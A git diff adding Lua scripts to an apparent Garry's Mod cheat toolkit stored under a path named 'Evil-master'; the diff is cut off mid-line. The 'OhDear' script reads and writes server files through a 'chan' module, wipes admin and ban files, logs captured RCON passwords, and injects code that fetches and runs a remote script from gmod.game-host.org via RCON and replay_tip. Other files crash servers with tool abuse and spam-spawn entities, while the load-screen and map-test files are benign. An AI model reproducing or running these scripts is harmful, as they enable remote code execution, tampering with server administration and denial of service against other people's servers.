--- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua @@ -0,0 +1,224 @@ + +if not chan then + require("chan") +end + + + +local function UploadChair(ply,cmd,args) + local Path = "data/adv_duplicator/=Public Folder=/office_chair.txt" + if (#args != 0) then + Path = "data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt" + end + + chan.SendFile(Path) + print("[OK] Sent '"..Path.."' using CHAN") +end +concommand.Add("hex_upload_chair", UploadChair) + + +local function FuckFile(File, Where) + if Where then + chan.MKDIR(Where) + File = Where.."\\"..File + else + File = "data\\"..File + end + chan.MKDIR(File) + + local That = File.."\\o.txt" + + chan.Write(That, "lol") + chan.SendFile(That) + print("! FuckFile: ", That) + + chan.Delete(That) + chan.RMDIR(File) + if Where then + chan.RMDIR(Where) + end + + timer.Simple(3, function() + chan.Delete(That) + + chan.RMDIR(File) + if Where then + chan.RMDIR(Where) + end + end) +end + + +local function FuckThatFile(ply,cmd,args) --fuckfile + if (#args == 0) then + print("[ERR] No args!") + return + + elseif (#args == 1) then + FuckFile(args[1]) + + elseif (#args == 2) then + FuckFile(args[2], args[1]) --File, Where + end +end +concommand.Add("fuckfile", FuckThatFile) + + +local ToFuck = { + {What = "banned_user.cfg", Where = "cfg"}, + {What = "banned_ip.cfg", Where = "cfg"}, + + {What = "bans.txt", Where = "data\\ULib"}, + {What = "users.txt", Where = "data\\ULib"}, + {What = "groups.txt", Where = "data\\ULib"}, + {What = "misc_registered.txt", Where = "data\\ULib"}, + + {What = "ranks.txt", Where = "data\\FSAMod"}, + + {What = "ev_playerinfo.txt"}, + {What = "ev_userranks.txt"}, + {What = "ev_globalvars.txt"}, + + {What = "ass_config_server.txt"}, + {What = "ass_debug_sv.txt"}, + {What = "ass_rankings.txt"}, +} + +local function FuckAdminFiles(ply,cmd,args) + if client.GetIP():find("192.168") then + print("[ERR] Not on here dumbass!") + return + end + + for k,v in pairs(ToFuck) do + timer.Simple(k/5, function() + FuckFile(v.What, v.Where) + end) + end +end +concommand.Add("hex_fuck_admins", FuckAdminFiles) + + + + +local function SendFile(ply,cmd,args) + if (#args == 0) then + print("[ERR] No args!") + return + end + + local What = args[1] + + print("! SendFile '"..What.."' : ", chan.SendFile(What) ) +end +concommand.Add("upload", SendFile) + +local function RequestFile(ply,cmd,args) + if (#args == 0) then + print("[ERR] No args!") + return + end + + local What = args[1] + + console.Command("net_showfragments 2") + print("! RequestFile '"..What.."' : ", chan.RequestFile(What) ) + + timer.Simple(3, function() + if file.Exists(What, true) then + print("! done :D") + else + print("! no file :(") + end + end) + + timer.Simple(10, function() + console.Command("net_showfragments 0") + end) +end +concommand.Add("download", RequestFile) + + + + + + + +local function Logme(ply,cmd,args) + if not (client and client.GetIP) then + print("[ERR] No extras!") + return + end + + local what = table.concat(args," ") + + local str = Format("Logme @ [%s] - '%s' - (%s) - '%s'\n", os.date(), GetConVarString("hostname"), client.GetIP(), what) + file.Append("hex_logme.txt", str) + + print("[OK] Saved: '"..what.."'") +end +concommand.Add("logme2", Logme) + + +local function SaveRCFromDeX(ply,cmd,args) + if not (client and client.GetIP) then + print("[ERR] No extras!") + return + + elseif (#args != 1) then + print("[ERR] No pw!") + return + end + + local pass = args[1] + + local str = Format("RCPW @ [%s] - '%s' - (%s) - '%s'\n", os.date(), GetConVarString("hostname"), client.GetIP(), pass) + file.Append("dex_rcpw.txt", str) + + print("[OK] Saved RCPW: '"..pass.."'") +end +concommand.Add("_dex_save_rc", SaveRCFromDeX) + + + + + +local function LoadRCONDeX(ply,cmd,args) + print("! Sending stage 1..\n") + HeXLRCL([[ rcon lua_run DEX_PATH = nil ]]) + HeXLRCL([[ rcon lua_run lol = "http.Get('gmod.game-host.org/bar/dex/dex.lua', ' ', function(s,f) RunString(s) end)" ]]) + + timer.Simple(3, function() + print("! Sending stage 2..\n") + HeXLRCL([[ rcon lua_run RunString(lol) ]]) + print("! sent dex over RCON, waiting for reply..\n") + end) +end +concommand.Add("hex_exploit_dex_rcon", LoadRCONDeX) + + + +local function LoadDeX() + HeXLRCL([[replay_tip "http.Get('http://gmod.game-host.org/bar/dex/dex.lua', ' ', function(s,f) RunStringEx(s,'WireModelPack') end)" ]]) + + print("! sent dex, waiting for reply..\n") +end +concommand.Add("hex_exploit_dex", LoadDeX) + + +local function DeXAll() + LoadDeX() + + timer.Simple(1, function() + HeXLRCL([[ "dex_save" ]]) + HeXLRCL([[ "fixset" ]]) + HeXLRCL([[ "nukes" ]]) + end) +end +concommand.Add("hex_exploit_all", DeXAll) +concommand.Add("dex_all", DeXAll) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua new file mode 100644 index 0000000..91c98c2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua @@ -0,0 +1,32 @@ + + +local RCC = RunConsoleCommand +local function TrailCrash() + RCC("gm_spawn", "models/props_c17/furniturestove001a.mdl") + RCC("trails_material", "Effects/*") + RCC("gmod_tool", "trails") + + RCC("hex_autoclicker") + timer.Simple(1,function() + RCC("hex_autoclicker") + end) + timer.Simple(2, RCC, "trails_material", "sprites/obsolete") +end +concommand.Add("hex_crash_trail", TrailCrash) + + +local function WeightCrash() + RCC("gm_spawn", "models/props_c17/furniturestove001a.mdl") + RCC("weight_set", "999999999999999999999999999999999999999999999") + RCC("gmod_tool", "weight") + + RCC("hex_autoclicker") + timer.Simple(1,function() + RCC("hex_autoclicker") + end) + timer.Simple(2, RCC, "weight_set", "100") +end +concommand.Add("hex_crash_weight", WeightCrash) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua new file mode 100644 index 0000000..372968a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua @@ -0,0 +1,71 @@ + + +local SwepToSpam = CreateClientConVar("hex_spam_swepclass", "weapon_para", true, false) +local SentToSpam = CreateClientConVar("hex_spam_sentclass", "sent_ball", true, false) +local SpamRate = CreateClientConVar("hex_spam_rate", 0.05, true, false) + +local SwepSpam = false +local SentSpam = false + + +local function SpamReset() + timer.Destroy("spam_sewps") + timer.Destroy("spam_sents") +end +hook.Add("OnDisconnectFromServer", "SpamReset", SpamReset) +concommand.Add("hex_spam_stop", SpamReset) + + +local function SpamSweps() + if SwepSpam then + SwepSpam = false + timer.Destroy("spam_sewps") + else + SwepSpam = true + timer.Create("spam_sewps", SpamRate:GetFloat(), 0, function() + RunConsoleCommand("gm_spawnswep", SwepToSpam:GetString() ) + end) + end +end +concommand.Add("hex_spam_swep", SpamSweps) + + +local function SpamSents() + if SentSpam then + SentSpam = false + timer.Destroy("spam_sents") + else + SentSpam = true + timer.Create("spam_sents", SpamRate:GetFloat(), 0, function() + RunConsoleCommand("gm_spawnsent", SentToSpam:GetString() ) + end) + end +end +concommand.Add("hex_spam_sent", SpamSents) + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua new file mode 100644 index 0000000..44f638c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua @@ -0,0 +1,15 @@ + +if not IsKida then return end + + +require( "markup" ) + +local UpdateLabel = vgui.Create( "DPanel" ) + +local UpdateText = markup.Parse( "Garry's Mod U"..VERSION ) + +UpdateLabel:SetSize( UpdateText:GetWidth(), UpdateText:GetHeight() ) +UpdateLabel:SetPos( 8, 8 ) +function UpdateLabel:Paint() + UpdateText:Draw( 0, 0 ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua new file mode 100644 index 0000000..7160037 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua @@ -0,0 +1,116 @@ + + +local pnlLoadProgress = vgui.RegisterFile("custom_menu/original_loading/progress.lua") +local pnlDownloads = vgui.RegisterFile("custom_menu/original_loading/downloads.lua") + +local PANEL = {} + +function PANEL:Init() + self:SetVisible(false) + self.Progress = vgui.CreateFromTable(pnlLoadProgress, self) + self.Downloads = vgui.CreateFromTable(pnlDownloads, self) + + /* + self.Button = vgui.Create("DButton", self) + self.Button:SetText("#Cancel") + function self.Button:DoClick() CancelLoading() end + */ +end + + +function PANEL:PerformLayout() + local Width,Hight = ScrW(),ScrH() + + self:SetSize(Width,Hight) + + self.Progress:InvalidateLayout(true) + self.Progress:SetPos(0, Hight * 0.4) + + self.Downloads:SetPos(0, 0) + self.Downloads:SetSize(Width, Hight * 0.4) + + /* + self.Button:AlignRight(50) + self.Button:AlignBottom(50) + */ +end + +function PANEL:Paint() + surface.SetDrawColor(250, 250, 250, 255) + surface.DrawRect(0, 0, self:GetWide(), self:GetTall()) +end + + +function PANEL:StatusChanged(what) + // If it's a file download we do some different stuff.. + if what:find("Downloading ") then + local name = what:gsub("Downloading ", "") + + self.Progress:DownloadingFile(name) + self.Downloads:DownloadingFile(name) + return + end + + self.Progress:StatusChanged(what) + self.Downloads:StatusChanged(what) +end + + +function PANEL:CheckForStatusChanges() + local str = GetLoadStatus() + if (!str) then return end + + str = string.Trim(str) + str = string.Trim(str, "\n") + str = string.Trim(str, "\t") + + str = string.gsub(str, ".bz2", "") + str = string.gsub(str, ".ztmp", "") + str = string.gsub(str, "\\", "/") + + if (self.OldStatus && self.OldStatus == str) then return end + + self.OldStatus = str + self:StatusChanged(str) +end + + +function PANEL:OnActivate() + self:OnDeactivate() +end + +function PANEL:OnDeactivate() + self.Progress:Clean() + self.Downloads:Clean() +end + + +function PANEL:Think() + self:CheckForStatusChanges() +end + +local load_panel = vgui.CreateFromTable(vgui.RegisterTable(PANEL, "EditablePanel")) + +local LoadTime = SysTime() + +hook.Add("OnLoadingStarted", "PopupLoad", function(ip, connectionPort, queryPort) + load_panel:MakePopup() // This isn't done by default in the C++, but the panel is automatically hidden when the loading is finished + LoadTime = SysTime() +end) + +local hide = false + +hook.Add("OnLoadingStopped", "EndLoad", function(bool1, string1, string2) + print(Format("Load time: %f", SysTime() - LoadTime)) + hide = bool1 +end) + +hook.Add("OnDisconnectFromServer", "GOAWAY", function(enum) + if hide then + load_panel:SetVisible(false) + end +end) + +loading.SetPanelOverride(load_panel) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua new file mode 100644 index 0000000..bf704a9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua @@ -0,0 +1,35 @@ + +if not IsKida then return end + + +local PANEL = {} +local Logo = Material( "console/logo_text" ) + +function PANEL:Init() + + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + +end + +function PANEL:Paint() + + surface.SetMaterial( Logo ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + return true + +end + +function PANEL:PerformLayout() + + local w = ScrW() * 0.5 + + self:SetPos( 0, ScrH() * 0.1 ) + self:SetSize( w, w / 4 ) + self:CenterHorizontal() + +end + +local GLogo = vgui.CreateFromTable( vgui.RegisterTable( PANEL, "Panel" ) ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua new file mode 100644 index 0000000..e3b59d7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua @@ -0,0 +1,14 @@ + + + +local function LoadM2() + require("m2c") +end +concommand.Add("m2_load", LoadM2) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua new file mode 100644 index 0000000..dad9b47 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua @@ -0,0 +1,434 @@ +concommand.Add("mt_reload", function() include("custom_menu/ml_maptest.lua") end) + +local BadMaps = { + ["gm_construct.bsp"] = true, + ["gm_flatgrass.bsp"] = true, + ["background01.bsp"] = true, + ["background02.bsp"] = true, + ["background03.bsp"] = true, + ["background04.bsp"] = true, + ["background05.bsp"] = true, + ["background06.bsp"] = true, + ["background07.bsp"] = true, + ["credits.bsp"] = true, + ["d1_canals_01.bsp"] = true, + ["d1_canals_01a.bsp"] = true, + ["d1_canals_02.bsp"] = true, + ["d1_canals_03.bsp"] = true, + ["d1_canals_05.bsp"] = true, + ["d1_canals_06.bsp"] = true, + ["d1_canals_07.bsp"] = true, + ["d1_canals_08.bsp"] = true, + ["d1_canals_09.bsp"] = true, + ["d1_canals_10.bsp"] = true, + ["d1_canals_11.bsp"] = true, + ["d1_canals_12.bsp"] = true, + ["d1_canals_13.bsp"] = true, + ["d1_eli_01.bsp"] = true, + ["d1_eli_02.bsp"] = true, + ["d1_town_01.bsp"] = true, + ["d1_town_01a.bsp"] = true, + ["d1_town_02.bsp"] = true, + ["d1_town_02a.bsp"] = true, + ["d1_town_03.bsp"] = true, + ["d1_town_04.bsp"] = true, + ["d1_town_05.bsp"] = true, + ["d1_trainstation_01.bsp"] = true, + ["d1_trainstation_02.bsp"] = true, + ["d1_trainstation_03.bsp"] = true, + ["d1_trainstation_04.bsp"] = true, + ["d1_trainstation_05.bsp"] = true, + ["d1_trainstation_06.bsp"] = true, + ["d2_coast_01.bsp"] = true, + ["d2_coast_03.bsp"] = true, + ["d2_coast_04.bsp"] = true, + ["d2_coast_05.bsp"] = true, + ["d2_coast_07.bsp"] = true, + ["d2_coast_08.bsp"] = true, + ["d2_coast_09.bsp"] = true, + ["d2_coast_10.bsp"] = true, + ["d2_coast_11.bsp"] = true, + ["d2_coast_12.bsp"] = true, + ["d2_prison_01.bsp"] = true, + ["d2_prison_02.bsp"] = true, + ["d2_prison_03.bsp"] = true, + ["d2_prison_04.bsp"] = true, + ["d2_prison_05.bsp"] = true, + ["d2_prison_06.bsp"] = true, + ["d2_prison_07.bsp"] = true, + ["d2_prison_08.bsp"] = true, + ["d3_breen_01.bsp"] = true, + ["d3_c17_01.bsp"] = true, + ["d3_c17_02.bsp"] = true, + ["d3_c17_03.bsp"] = true, + ["d3_c17_04.bsp"] = true, + ["d3_c17_05.bsp"] = true, + ["d3_c17_06a.bsp"] = true, + ["d3_c17_06b.bsp"] = true, + ["d3_c17_07.bsp"] = true, + ["d3_c17_08.bsp"] = true, + ["d3_c17_09.bsp"] = true, + ["d3_c17_10a.bsp"] = true, + ["d3_c17_10b.bsp"] = true, + ["d3_c17_11.bsp"] = true, + ["d3_c17_12.bsp"] = true, + ["d3_c17_12b.bsp"] = true, + ["d3_c17_13.bsp"] = true, + ["d3_citadel_01.bsp"] = true, + ["d3_citadel_02.bsp"] = true, + ["d3_citadel_03.bsp"] = true, + ["d3_citadel_04.bsp"] = true, + ["d3_citadel_05.bsp"] = true, + ["intro.bsp"] = true, + ["advisor_test.bsp"] = true, + ["autorpv1.bsp"] = true, + ["background.bsp"] = true, + ["bhop_wetlands.bsp"] = true, + ["castledefense.bsp"] = true, + ["combine_fun.bsp"] = true, + ["combine_onslaught.bsp"] = true, + ["combine_onslaughtv1_1.bsp"] = true, + ["combine_onslaughtv2.bsp"] = true, + ["combine_onslaught_ep2.bsp"] = true, + ["crater.bsp"] = true, + ["dev_box.bsp"] = true, + ["de_hoejhus.bsp"] = true, + ["de_relic.bsp"] = true, + ["dm_thursday.bsp"] = true, + ["dr_carbonic_v3.bsp"] = true, + ["duckhunt_party.bsp"] = true, + ["duckhunt_party_v2.bsp"] = true, + ["esiphar.bsp"] = true, + ["gmdm_antlions_ep2.bsp"] = true, + ["gm_2cliffs.bsp"] = true, + ["gm_711_v5.bsp"] = true, + ["gm_apartment.bsp"] = true, + ["gm_apoc_v1.bsp"] = true, + ["gm_assault_v2.bsp"] = true, + ["gm_atomic.bsp"] = true, + ["gm_azalea.bsp"] = true, + ["gm_bigassmapv2.bsp"] = true, + ["gm_blackmesa_sigma_by_freakrules.bsp"] = true, + ["gm_bounize.bsp"] = true, + ["gm_boxed.bsp"] = true, + ["gm_buttes.bsp"] = true, + ["gm_cliffside_v2.bsp"] = true, + ["gm_closedin.bsp"] = true, + ["gm_constructconsp.bsp"] = true, + ["gm_construct_bunker.bsp"] = true, + ["gm_construct_flatgrass_v6.bsp"] = true, + ["gm_derpityda.bsp"] = true, + ["gm_devcity.bsp"] = true, + ["gm_dmm_cabin.bsp"] = true, + ["gm_duckhunt.bsp"] = true, + ["gm_duststruct.bsp"] = true, + ["gm_endlessocean.bsp"] = true, + ["gm_essentials.bsp"] = true, + ["gm_excess_waters.bsp"] = true, + ["gm_findthefort8.bsp"] = true, + ["gm_flatbuild_pb.bsp"] = true, + ["gm_flatgrass2.bsp"] = true, + ["gm_flatgrass_pit.bsp"] = true, + ["gm_flatgrass_remake.bsp"] = true, + ["gm_flatmulti.bsp"] = true, + ["gm_flatsnow_xdc_r1_1.bsp"] = true, + ["gm_flying_reliquies.bsp"] = true, + ["gm_fortexia_v1.bsp"] = true, + ["gm_funroom_v12.bsp"] = true, + ["gm_gmnzrace.bsp"] = true, + ["gm_gmodopoly.bsp"] = true, + ["gm_gmodsauce.bsp"] = true, + ["gm_hl1_cliff.bsp"] = true, + ["gm_hl1_interloper.bsp"] = true, + ["gm_isles.bsp"] = true, + ["gm_jon_island.bsp"] = true, + ["gm_kbmodernhouse.bsp"] = true, + ["gm_lake_final.bsp"] = true, + ["gm_lava.bsp"] = true, + ["gm_lostconstruct.bsp"] = true, + ["gm_mc_construct.bsp"] = true, + ["gm_mc_construct_final.bsp"] = true, + ["gm_mental_asylum.bsp"] = true, + ["gm_minecraft.bsp"] = true, + ["gm_minecrafter_day.bsp"] = true, + ["gm_mix_v5.bsp"] = true, + ["gm_moving_train.bsp"] = true, + ["gm_neverendingwar_prototype.bsp"] = true, + ["gm_opposedbases.bsp"] = true, + ["gm_overgrown_build.bsp"] = true, + ["gm_pd_destruct.bsp"] = true, + ["gm_pd_terrageosord.bsp"] = true, + ["gm_peaceforest_winter.bsp"] = true, + ["gm_perfectworld_v1.bsp"] = true, + ["gm_racelandschool.bsp"] = true, + ["gm_race_natura_v2.bsp"] = true, + ["gm_risk.bsp"] = true, + ["gm_roadspace.bsp"] = true, + ["gm_ruvillagev2.bsp"] = true, + ["gm_seascraper.bsp"] = true, + ["gm_simplestruct.bsp"] = true, + ["gm_smallfight.bsp"] = true, + ["gm_speedway_v2.bsp"] = true, + ["gm_stramicbuild_b7.bsp"] = true, + ["gm_the_cage_v3.bsp"] = true, + ["gm_tinystruct.bsp"] = true, + ["gm_transporter.bsp"] = true, + ["gm_tugofwar_combine.bsp"] = true, + ["gm_tullysbunker.bsp"] = true, + ["gm_ultimate_flatgrass.bsp"] = true, + ["gm_valley.bsp"] = true, + ["gm_voided_fixed.bsp"] = true, + ["gm_warmth.bsp"] = true, + ["gm_zach_island.bsp"] = true, + ["gunship_onslaght.bsp"] = true, + ["harbor2ocean_navalb3.bsp"] = true, + ["hoejhus9_minecraft.bsp"] = true, + ["home.bsp"] = true, + ["mg_eye_train_b1_fix.bsp"] = true, + ["mg_space_eye_smash.bsp"] = true, + ["neostruct_extended.bsp"] = true, + ["os_antlion_siege.bsp"] = true, + ["phys_bibridgeton.bsp"] = true, + ["phys_jenga.bsp"] = true, + ["prisonv2.bsp"] = true, + ["pyth_targettest.bsp"] = true, + ["rainbow_drop.bsp"] = true, + ["rp_dependancev1beta14.bsp"] = true, + ["rp_fortlongcat_v2i.bsp"] = true, + ["rp_prison.bsp"] = true, + ["rp_sunvale.bsp"] = true, + ["rp_sunvale_v2.bsp"] = true, + ["sb_new_worlds_2.bsp"] = true, + ["sdk_dmm_building.bsp"] = true, + ["sdk_dynamic_water.bsp"] = true, + ["steampunk.bsp"] = true, + ["ttt_67th_way.bsp"] = true, + ["ttt_crummycradle_a4.bsp"] = true, + ["ttt_infini_b3.bsp"] = true, + ["vs_underground_v2.bsp"] = true, + ["wall-mart_v6_final.bsp"] = true, + ["wm_nightspell.bsp"] = true, + ["wm_winterwarfare.bsp"] = true, + ["zm_lv426.bsp"] = true, + ["zm_survive.bsp"] = true, + ["zombiesurvival_mojave.bsp"] = true, + ["zombiesurvival_mojave_lonesome.bsp"] = true, + ["zs_gravity_v2.bsp"] = true, + ["zs_obj_vertigo_v0.bsp"] = true, + ["zs_trainterminal.bsp"] = true, + ["zwonder_2_v2.bsp"] = true, + ["cs_assault.bsp"] = true, + ["cs_compound.bsp"] = true, + ["cs_havana.bsp"] = true, + ["cs_italy.bsp"] = true, + ["cs_militia.bsp"] = true, + ["cs_office.bsp"] = true, + ["de_aztec.bsp"] = true, + ["de_cbble.bsp"] = true, + ["de_chateau.bsp"] = true, + ["de_dust.bsp"] = true, + ["de_dust2.bsp"] = true, + ["de_inferno.bsp"] = true, + ["de_nuke.bsp"] = true, + ["de_piranesi.bsp"] = true, + ["de_port.bsp"] = true, + ["de_prodigy.bsp"] = true, + ["de_tides.bsp"] = true, + ["de_train.bsp"] = true, + ["test_hardware.bsp"] = true, + ["test_speakers.bsp"] = true, + ["ep2_background01.bsp"] = true, + ["ep2_background02.bsp"] = true, + ["ep2_background02a.bsp"] = true, + ["ep2_background03.bsp"] = true, + ["ep2_outland_01.bsp"] = true, + ["ep2_outland_01a.bsp"] = true, + ["ep2_outland_02.bsp"] = true, + ["ep2_outland_03.bsp"] = true, + ["ep2_outland_04.bsp"] = true, + ["ep2_outland_05.bsp"] = true, + ["ep2_outland_06.bsp"] = true, + ["ep2_outland_06a.bsp"] = true, + ["ep2_outland_07.bsp"] = true, + ["ep2_outland_08.bsp"] = true, + ["ep2_outland_09.bsp"] = true, + ["ep2_outland_10.bsp"] = true, + ["ep2_outland_10a.bsp"] = true, + ["ep2_outland_11.bsp"] = true, + ["ep2_outland_11a.bsp"] = true, + ["ep2_outland_11b.bsp"] = true, + ["ep2_outland_12.bsp"] = true, + ["ep2_outland_12a.bsp"] = true, + ["arena_badlands.bsp"] = true, + ["arena_granary.bsp"] = true, + ["arena_lumberyard.bsp"] = true, + ["arena_nucleus.bsp"] = true, + ["arena_offblast_final.bsp"] = true, + ["arena_ravine.bsp"] = true, + ["arena_sawmill.bsp"] = true, + ["arena_watchtower.bsp"] = true, + ["arena_well.bsp"] = true, + ["cp_5gorge.bsp"] = true, + ["cp_badlands.bsp"] = true, + ["cp_coldfront.bsp"] = true, + ["cp_degrootkeep.bsp"] = true, + ["cp_dustbowl.bsp"] = true, + ["cp_egypt_final.bsp"] = true, + ["cp_fastlane.bsp"] = true, + ["cp_foundry.bsp"] = true, + ["cp_freight_final1.bsp"] = true, + ["cp_gorge.bsp"] = true, + ["cp_granary.bsp"] = true, + ["cp_gravelpit.bsp"] = true, + ["cp_gullywash_final1.bsp"] = true, + ["cp_junction_final.bsp"] = true, + ["cp_manor_event.bsp"] = true, + ["cp_mountainlab.bsp"] = true, + ["cp_steel.bsp"] = true, + ["cp_well.bsp"] = true, + ["cp_yukon_final.bsp"] = true, + ["ctf_2fort.bsp"] = true, + ["ctf_doublecross.bsp"] = true, + ["ctf_sawmill.bsp"] = true, + ["ctf_turbine.bsp"] = true, + ["ctf_well.bsp"] = true, + ["itemtest.bsp"] = true, + ["koth_badlands.bsp"] = true, + ["koth_harvest_event.bsp"] = true, + ["koth_harvest_final.bsp"] = true, + ["koth_lakeside_final.bsp"] = true, + ["koth_nucleus.bsp"] = true, + ["koth_sawmill.bsp"] = true, + ["koth_viaduct.bsp"] = true, + ["koth_viaduct_event.bsp"] = true, + ["pl_badwater.bsp"] = true, + ["pl_barnblitz.bsp"] = true, + ["pl_frontier_final.bsp"] = true, + ["pl_goldrush.bsp"] = true, + ["pl_hoodoo_final.bsp"] = true, + ["pl_thundermountain.bsp"] = true, + ["pl_upward.bsp"] = true, + ["plr_hightower.bsp"] = true, + ["plr_nightfall_final.bsp"] = true, + ["plr_pipeline.bsp"] = true, + ["tc_hydro.bsp"] = true, + ["tr_dustbowl.bsp"] = true, + ["tr_target.bsp"] = true, + ["ep1_background01.bsp"] = true, + ["ep1_background01a.bsp"] = true, + ["ep1_background02.bsp"] = true, + ["ep1_c17_00.bsp"] = true, + ["ep1_c17_00a.bsp"] = true, + ["ep1_c17_01.bsp"] = true, + ["ep1_c17_02.bsp"] = true, + ["ep1_c17_02a.bsp"] = true, + ["ep1_c17_02b.bsp"] = true, + ["ep1_c17_05.bsp"] = true, + ["ep1_c17_06.bsp"] = true, + ["ep1_citadel_00.bsp"] = true, + ["ep1_citadel_01.bsp"] = true, + ["ep1_citadel_02.bsp"] = true, + ["ep1_citadel_02b.bsp"] = true, + ["ep1_citadel_03.bsp"] = true, + ["ep1_citadel_04.bsp"] = true, + ["dm_lockdown.bsp"] = true, + ["dm_overwatch.bsp"] = true, + ["dm_powerhouse.bsp"] = true, + ["dm_resistance.bsp"] = true, + ["dm_runoff.bsp"] = true, + ["dm_steamlab.bsp"] = true, + ["dm_underpass.bsp"] = true, + ["background1.bsp"] = true, + ["background2.bsp"] = true, + ["escape_00.bsp"] = true, + ["escape_01.bsp"] = true, + ["escape_02.bsp"] = true, + ["testchmb_a_00.bsp"] = true, + ["testchmb_a_01.bsp"] = true, + ["testchmb_a_02.bsp"] = true, + ["testchmb_a_03.bsp"] = true, + ["testchmb_a_04.bsp"] = true, + ["testchmb_a_05.bsp"] = true, + ["testchmb_a_06.bsp"] = true, + ["testchmb_a_07.bsp"] = true, + ["testchmb_a_08.bsp"] = true, + ["testchmb_a_08_advanced.bsp"] = true, + ["testchmb_a_09.bsp"] = true, + ["testchmb_a_09_advanced.bsp"] = true, + ["testchmb_a_10.bsp"] = true, + ["testchmb_a_10_advanced.bsp"] = true, + ["testchmb_a_11.bsp"] = true, + ["testchmb_a_11_advanced.bsp"] = true, + ["testchmb_a_13.bsp"] = true, + ["testchmb_a_13_advanced.bsp"] = true, + ["testchmb_a_14.bsp"] = true, + ["testchmb_a_14_advanced.bsp"] = true, + ["testchmb_a_15.bsp"] = true, + ["asc_vanilla.bsp"] = true, + ["dfa_islands.bsp"] = true, + ["dfa_rsi_i.bsp"] = true, +} + + + +local AllMaps = {} +local DoneMaps = {} +local function GetAllMaps() + for k,v in pairs( file.Find("maps/*.bsp", true) ) do + v = v:lower() + + if not BadMaps[v] then + table.insert(AllMaps, v) + end + end +end +timer.Simple(0.1, GetAllMaps) + + +local function LoadNextMap() + local Total = #AllMaps + if (Total == 0) then + print("! No maps in folder!") + return + elseif (Total > 50) then + print("! Too many maps, this isn't testing!") + return + end + + local Map + for k,v in pairs(AllMaps) do + if not DoneMaps[v] then + DoneMaps[v] = true + Map = v + break + end + end + + if not Map then + print("! Out of maps!") + return + end + + print( Format("LoadNextMap (%s/%s): %s", table.Count(DoneMaps), Total, Map) ) + timer.Simple(0.1, HeXLRCL, "disconnect") + timer.Simple(0.5, HeXLRCL, "map "..Map) +end +concommand.Add("mt_next", LoadNextMap) + + +local function DumpAllMaps() + local tot = 0 + for k,v in pairs(AllMaps) do + file.Append("mt_dump.txt", Format('\t["%s"] = true,\n', v) ) + tot = tot + 1 + end + + print("! dumped: "..tot.." maps") +end +concommand.Add("mt_dump", DumpAllMaps) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua new file mode 100644 index 0000000..328ad34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua @@ -0,0 +1,16 @@ + + + +local function Useless() end + +notification.AddProgress = Useless +notification.Kill = Useless +notification.AddLegacy = Useless +notification.Die = Useless +notification.UpdateNotice = Useless +notification.Update = Useless + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua new file mode 100644 index 0000000..edc71a8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua @@ -0,0 +1,60 @@ + +local Settings = { + --"vgui_allowhtml 0", + + --"net_showfragments 2", + "sv_cheats 0", + "hud_draw_fixed_reticle 1", + "sv_password beta", + "developer 1", + "download_debug 1", + "lua_log_cl 1", + "lua_log_sv 1", + "r_lod 0", + "mat_hdr_level 0", + "mat_bumpmap 1", + "sv_gamemodeoverride sandbox", + "sv_gamemode sandbox", + "sbox_noclip 1", + "sbox_godmode 0", + [[alias mp "bot_mimic 0; maxplayers 9; map gm_construct"]], +} + +local KidaSettings = { + [[alias go "connect gmod.game-host.org:27015"]], +} + +local 